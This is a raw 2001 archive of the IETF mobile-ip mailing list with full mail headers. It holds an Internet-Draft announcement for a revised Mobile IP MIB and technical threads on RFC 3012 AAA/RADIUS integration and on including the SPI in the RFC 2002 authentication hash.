X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fADC6UQO009429
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 13 Nov 2001 04:06:30 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA23428
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 13 Nov 2001 04:06:31 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA00499
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 13 Nov 2001 04:06:30 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA19918;
	Tue, 13 Nov 2001 07:06:28 -0500 (EST)
Message-Id: <200111131206.HAA19918@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: mobile-ip@sunroof.eng.sun.com
From: Internet-Drafts@ietf.org
Subject: [mobile-ip] I-D ACTION:draft-ietf-mobileip-rfc2006bis-00.txt
Date: Tue, 13 Nov 2001 07:06:28 -0500
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the IP Routing for Wireless/Mobile Hosts Working Group of the IETF.

	Title		: The Definitions of Managed Objects for IP Mobility 
                          Support using SMIv2, revised
	Author(s)	: R. Rathi
	Filename	: draft-ietf-mobileip-rfc2006bis-00.txt
	Pages		: 85
	Date		: 12-Nov-01
	
This memo defines the Management Information Base (MIB) for use with
network management protocols in TCP/IP-based internets.  In
particular, it describes managed objects used for managing the Mobile
Node, Foreign Agent and Home Agent of the Mobile IP Protocol.
This memo is intended to update and possibly obsolete RFC 2006,
however, it is designed to be backward compatible.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mobileip-rfc2006bis-00.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mobileip-rfc2006bis-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mobileip-rfc2006bis-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20011112110836.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mobileip-rfc2006bis-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mobileip-rfc2006bis-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20011112110836.I-D@ietf.org>

--OtherAccess--

--NextPart--




From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 13 08:33:24 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA23554
	for <mobileip-archive@odin.ietf.org>; Tue, 13 Nov 2001 08:33:24 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA23777;
	Tue, 13 Nov 2001 06:31:48 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA00555;
	Tue, 13 Nov 2001 05:31:57 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fADDV6QO009631
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 13 Nov 2001 05:31:06 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fADDV6f8009630
	for mobile-ip-dist; Tue, 13 Nov 2001 05:31:06 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fADDV3QO009623
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 13 Nov 2001 05:31:03 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA12047
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 13 Nov 2001 05:31:05 -0800 (PST)
From: Mike_Borella@3com.com
Received: from topaz.3com.com (topaz.3com.com [192.156.136.158])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA22427
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 13 Nov 2001 05:31:04 -0800 (PST)
Received: from opal.3com.com (opal.3com.com [139.87.50.117])
	by topaz.3com.com (Switch-2.1.3/Switch-2.1.0) with ESMTP id fADDS8c00931
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 13 Nov 2001 05:28:08 -0800 (PST)
Received: from hqsmtp01.3com.com (hqsmtp01.ops.3com.com [139.87.49.79])
	by opal.3com.com (Switch-2.1.3/Switch-2.1.0) with ESMTP id fADDV4h21943
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 13 Nov 2001 05:31:04 -0800 (PST)
Subject: Re: [mobile-ip] RFC3012 extra questions
To: mobile-ip@sunroof.eng.sun.com
Date: Tue, 13 Nov 2001 07:31:26 -0600
Message-ID: <OF6CF45450.A8D2EE0E-ON86256B03.004A2F41@3com.com>
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

The answer to question 2 is that it is done (at least in some systems) in
two
passes.  I don't believe there is any clean way of doing it in one with
RADIUS.

Mike





"Juan Caballero" <juan.caballero@r2m.net>@sunroof.eng.sun.com on 11/13/2001
04:49:56 AM

Please respond to mobile-ip@sunroof.eng.sun.com

Sent by:  owner-mobile-ip@sunroof.eng.sun.com


To:   <mobile-ip@sunroof.eng.sun.com>
cc:
Subject:  [mobile-ip] RFC3012 extra questions


Sorry to bring up again the subject but I am doing a thesis work with
Mobile
IP and I am trying to integrate AAA (Radius) with Mobile IP and found some
questions regarding the Challenge-Response RFC. I apologize if I just
misunderstood the standards.

1-How is this suppose to work with Hierarchical Mobile IP?

I believe that if a hierarchical structure of FA is used, the lowest FA is
the one sending the Challenge and waiting for the response but it is most
probable the Highest FA the one which communicates with the AAA structure.
Then if the Lowest FA removes the MN-AAA Authentication Extension there is
no info for the highest FA to perform the authentication. Should the lowest
FA just forward the Challenge extension to the Highest FA and this one
takes
care of the rest? How are the extensions handled?

2-RFC 2977 (Mobile IP AAA Requirements) states:
"All needed AAA and Mobile IP functions SHOULD be processed during a single
Internet traversal.  This MUST be done without requiring AAA servers to
process protocol messages sent to Mobile IP agents.  The AAA servers MUST
identify the Mobile IP agents and security associations necessary to
process
the Mobile IP registration, pass the necessary registration data to those
Mobile IP agents, and remain uninvolved in the routing and authentication
processing steps particular to Mobile IP registration."

In the specific case of Radius, I do not see how to meet both ideas. Either
I try to make a single Internet traversal and then the AAA server needs to
take care of delivering the Mobile IP Registration to the HA or the FA
blocks the Registration Request until the Authentication process is
completed but then two Internet traversals are done.

Should the FA send the registration request to the HA without delay and
just
block the reply until it gets a message from the AAA authentication? This
will shorten the delay in the registration even if two Internet traversals
are still needed. But on the other hand the Home Agent will receive a
MN-AAA
authentication extension which does not know how to handle since RFC 3012
states:
"The Foreign Agent MUST NOT remove the MN-AAA Authentication Extension from
the Registration Request prior to the completion of the authentication
performed by the AAA infrastructure.  "

It would be nice if some of the people implementing this would show their
opinion.
Thanks,

Juan Caballero







From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 13 09:03:43 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA24951
	for <mobileip-archive@lists.ietf.org>; Tue, 13 Nov 2001 09:03:43 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id GAA13575;
	Tue, 13 Nov 2001 06:02:32 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA04537;
	Tue, 13 Nov 2001 06:02:19 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fADE1UQO009827
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 13 Nov 2001 06:01:30 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fADE1TeL009826
	for mobile-ip-dist; Tue, 13 Nov 2001 06:01:29 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fADE1QQO009819
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 13 Nov 2001 06:01:26 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA29800
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 13 Nov 2001 06:01:28 -0800 (PST)
From: Mike_Borella@3com.com
Received: from topaz.3com.com (topaz.3com.com [192.156.136.158])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA11171
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 13 Nov 2001 07:01:10 -0700 (MST)
Received: from opal.3com.com (opal.3com.com [139.87.50.117])
	by topaz.3com.com (Switch-2.1.3/Switch-2.1.0) with ESMTP id fADDwVc03369
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 13 Nov 2001 05:58:31 -0800 (PST)
Received: from hqsmtp01.3com.com (hqsmtp01.ops.3com.com [139.87.49.79])
	by opal.3com.com (Switch-2.1.3/Switch-2.1.0) with ESMTP id fADE1Qh28150
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 13 Nov 2001 06:01:26 -0800 (PST)
Subject: Re: [mobile-ip] RFC3012 interpretation yet again
To: mobile-ip@sunroof.eng.sun.com
Date: Tue, 13 Nov 2001 08:01:47 -0600
Message-ID: <OF87886C0D.2A000BC1-ON86256B03.004D08A3@3com.com>
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

Understood, though the RRQ and RRP imply Mobile IP.

Mike





Pat Calhoun <pcalhoun@diameter.org>@sunroof.eng.sun.com on 11/12/2001
06:46:44 PM

Please respond to mobile-ip@sunroof.eng.sun.com

Sent by:  owner-mobile-ip@sunroof.eng.sun.com


To:   mobile-ip@sunroof.eng.sun.com
cc:   "Charles E. Perkins" <charliep@iprg.nokia.com>
Subject:  Re: [mobile-ip] RFC3012 interpretation yet again


> - Wouldn't the message to/from the verification infrastructure
> be something other than RRQ and RRP?

It could be anything. This draft tries to introduce the verification
infrastructure to satisfy review comments, but we also don't want to
copy text from another spec that defines the actual protocol.

PatC






From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 13 11:26:03 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA02770
	for <mobileip-archive@odin.ietf.org>; Tue, 13 Nov 2001 11:26:02 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA19580;
	Tue, 13 Nov 2001 09:20:05 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA25173;
	Tue, 13 Nov 2001 08:18:36 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fADGI0QO010060
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 13 Nov 2001 08:18:00 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fADGHxLa010059
	for mobile-ip-dist; Tue, 13 Nov 2001 08:17:59 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fADGHuQO010052
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 13 Nov 2001 08:17:56 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA01010
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 13 Nov 2001 08:17:57 -0800 (PST)
Received: from sj-msg-core-3.cisco.com (sj-msg-core-3.cisco.com [171.70.157.152])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA10747
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 13 Nov 2001 08:17:56 -0800 (PST)
Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27])
	by sj-msg-core-3.cisco.com (8.11.3/8.9.1) with ESMTP id fADGFZx01523
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 13 Nov 2001 08:15:38 -0800 (PST)
Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53])
	by mira-sjc5-7.cisco.com (Mirapoint)
	with ESMTP id AAH97008;
	Tue, 13 Nov 2001 08:17:12 -0800 (PST)
Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id IAA18004; Tue, 13 Nov 2001 08:17:48 -0800 (PST)
From: Michael Thomas <mat@cisco.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15345.18347.932299.416244@thomasm-u1.cisco.com>
Date: Tue, 13 Nov 2001 08:17:47 -0800 (PST)
To: mobile-ip@sunroof.eng.sun.com
Subject: [mobile-ip] RFC 2002 SPI bug
In-Reply-To: <OFC55FDE4C.F127D2F4-ON86256B02.0083326D@3com.com>
References: <OFC55FDE4C.F127D2F4-ON86256B02.0083326D@3com.com>
X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid
X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4m<D]vnFJ>u!4x[/Z4t{V}~L]+Sk
 @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd
 bUcI'1!
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Mike_Borella@3com.com writes:
 > Hello,
 > 
 > I was looking through the mailing list archives and I can't quite
 > find what I'm looking for.  Apparently section 3.5.1 of 2002 does
 > not include the SPI in the authentication hash, but it is common
 > practice to include the SPI.  I've gathered this from reading the
 > message in this link:
 > 
 > http://playground.sun.com/pub/mobile-ip/WG-archive/frm02527.html
 > 
 > (Apologies if I'm not reading this correctly...I've made a couple of
 > assumptions here...)
 > 
 > However, I have not found a reason as to why such a change has
 > been made.  Can anyone tell me:
 > 
 > - Why the SPI should be in the hash

  With IKE, the SPI is used to make certain that
  you don't generate the same keying material
  twice for a given main mode SA since the SPI is
  generally random. If I recall correctly, a well
  known SPI is being used for MIP so you'd just
  be adding a constant which isn't helpful. The
  real question to ask is whether the same key is
  ever regenerated across keying operations. If
  so, there's a problem.

	      Mike


From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 13 11:50:58 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA04516
	for <mobileip-archive@odin.ietf.org>; Tue, 13 Nov 2001 11:50:57 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id IAA26091;
	Tue, 13 Nov 2001 08:43:47 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA25766;
	Tue, 13 Nov 2001 08:42:15 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fADGfKQO010220
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 13 Nov 2001 08:41:20 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fADGfKL3010219
	for mobile-ip-dist; Tue, 13 Nov 2001 08:41:20 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fADGfHQO010212
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 13 Nov 2001 08:41:17 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA06198
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 13 Nov 2001 08:41:18 -0800 (PST)
Received: from charizard.diameter.org (c900656-a.plstn1.sfba.home.com [24.20.167.220])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with SMTP id IAA02651
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 13 Nov 2001 08:41:14 -0800 (PST)
Received: (qmail 8214 invoked by uid 500); 13 Nov 2001 17:20:03 -0000
Date: Tue, 13 Nov 2001 09:20:03 -0800
From: Pat Calhoun <pcalhoun@diameter.org>
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] RFC3012 extra questions
Message-ID: <20011113092003.D6449@charizard.diameter.org>
References: <OF97CE9FDD.3395CD9E-ON86256B02.0083102E@3com.com> <20011112164644.L30901@charizard.diameter.org> <001401c16c30$ef73ac90$4701a8c0@mendez>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <001401c16c30$ef73ac90$4701a8c0@mendez>; from juan.caballero@r2m.net on Tue, Nov 13, 2001 at 11:49:56AM +0100
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

I think the problem is that you are trying to satisfy Mobile IP 
requirements with a protocol that cannot. It is for this reason
that the IETF (and the MIP WG) decided instead to go with the protocol
being designed by the AAA WG.

PatC
On Tue, Nov 13, 2001 at 11:49:56AM +0100, Juan Caballero wrote:
> Sorry to bring up again the subject but I am doing a thesis work with Mobile
> IP and I am trying to integrate AAA (Radius) with Mobile IP and found some
> questions regarding the Challenge-Response RFC. I apologize if I just
> misunderstood the standards.
> 
> 1-How is this suppose to work with Hierarchical Mobile IP?
> 
> I believe that if a hierarchical structure of FA is used, the lowest FA is
> the one sending the Challenge and waiting for the response but it is most
> probable the Highest FA the one which communicates with the AAA structure.
> Then if the Lowest FA removes the MN-AAA Authentication Extension there is
> no info for the highest FA to perform the authentication. Should the lowest
> FA just forward the Challenge extension to the Highest FA and this one takes
> care of the rest? How are the extensions handled?
> 
> 2-RFC 2977 (Mobile IP AAA Requirements) states:
> "All needed AAA and Mobile IP functions SHOULD be processed during a single
> Internet traversal.  This MUST be done without requiring AAA servers to
> process protocol messages sent to Mobile IP agents.  The AAA servers MUST
> identify the Mobile IP agents and security associations necessary to process
> the Mobile IP registration, pass the necessary registration data to those
> Mobile IP agents, and remain uninvolved in the routing and authentication
> processing steps particular to Mobile IP registration."
> 
> In the specific case of Radius, I do not see how to meet both ideas. Either
> I try to make a single Internet traversal and then the AAA server needs to
> take care of delivering the Mobile IP Registration to the HA or the FA
> blocks the Registration Request until the Authentication process is
> completed but then two Internet traversals are done.
> 
> Should the FA send the registration request to the HA without delay and just
> block the reply until it gets a message from the AAA authentication? This
> will shorten the delay in the registration even if two Internet traversals
> are still needed. But on the other hand the Home Agent will receive a MN-AAA
> authentication extension which does not know how to handle since RFC 3012
> states:
> "The Foreign Agent MUST NOT remove the MN-AAA Authentication Extension from
> the Registration Request prior to the completion of the authentication
> performed by the AAA infrastructure.  "
> 
> It would be nice if some of the people implementing this would show their
> opinion.
> Thanks,
> 
> Juan Caballero
> 


From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 13 12:37:02 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA07310
	for <mobileip-archive@odin.ietf.org>; Tue, 13 Nov 2001 12:37:01 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id JAA21924;
	Tue, 13 Nov 2001 09:35:39 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA10091;
	Tue, 13 Nov 2001 09:33:37 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fADHWfQO010513
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 13 Nov 2001 09:32:41 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fADHWfdY010512
	for mobile-ip-dist; Tue, 13 Nov 2001 09:32:41 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fADHWcQO010505
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 13 Nov 2001 09:32:38 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA11649
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 13 Nov 2001 09:32:21 -0800 (PST)
From: Mike_Borella@3com.com
Received: from topaz.3com.com (topaz.3com.com [192.156.136.158])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA19251
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 13 Nov 2001 09:32:39 -0800 (PST)
Received: from opal.3com.com (opal.3com.com [139.87.50.117])
	by topaz.3com.com (Switch-2.1.3/Switch-2.1.0) with ESMTP id fADHThc02605
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 13 Nov 2001 09:29:43 -0800 (PST)
Received: from hqsmtp01.3com.com (hqsmtp01.ops.3com.com [139.87.49.79])
	by opal.3com.com (Switch-2.1.3/Switch-2.1.0) with ESMTP id fADHWch24027
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 13 Nov 2001 09:32:38 -0800 (PST)
Subject: [mobile-ip] RFC 2002 SPI bug
To: mobile-ip@sunroof.eng.sun.com
Date: Tue, 13 Nov 2001 11:33:00 -0600
Message-ID: <OFB85B8201.82108B66-ON86256B03.00604D8D@3com.com>
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

Perhaps my first post was not clear, let me be more direct:

Given the SPI issue in 2002, is one in compliance with 2002 if
the SPI is or is not included in the hash?

Thanks,
Mike

---------------------- Forwarded by Mike Borella/MW/US/3Com on 11/13/2001
11:34 AM ---------------------------

Mike Borella/MW/US/3Com
11/12/2001 05:56 PM


Sent by:  Mike Borella  -  Manager, ][CommWorks Wireless Systems and
      Architecture


To:   mobile-ip@sunroof.eng.sun.com
cc:
Subject:  RFC 2002 SPI bug

Hello,

I was looking through the mailing list archives and I can't quite
find what I'm looking for.  Apparently section 3.5.1 of 2002 does
not include the SPI in the authentication hash, but it is common
practice to include the SPI.  I've gathered this from reading the
message in this link:

http://playground.sun.com/pub/mobile-ip/WG-archive/frm02527.html

(Apologies if I'm not reading this correctly...I've made a couple of
assumptions here...)

However, I have not found a reason as to why such a change has
been made.  Can anyone tell me:

- Why the SPI should be in the hash
- If there are any known issues if the SPI does not appear in the hash

Thanks,
Mike






From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 13 15:50:19 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA16310
	for <mobileip-archive@odin.ietf.org>; Tue, 13 Nov 2001 15:50:18 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id MAA18476;
	Tue, 13 Nov 2001 12:48:47 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
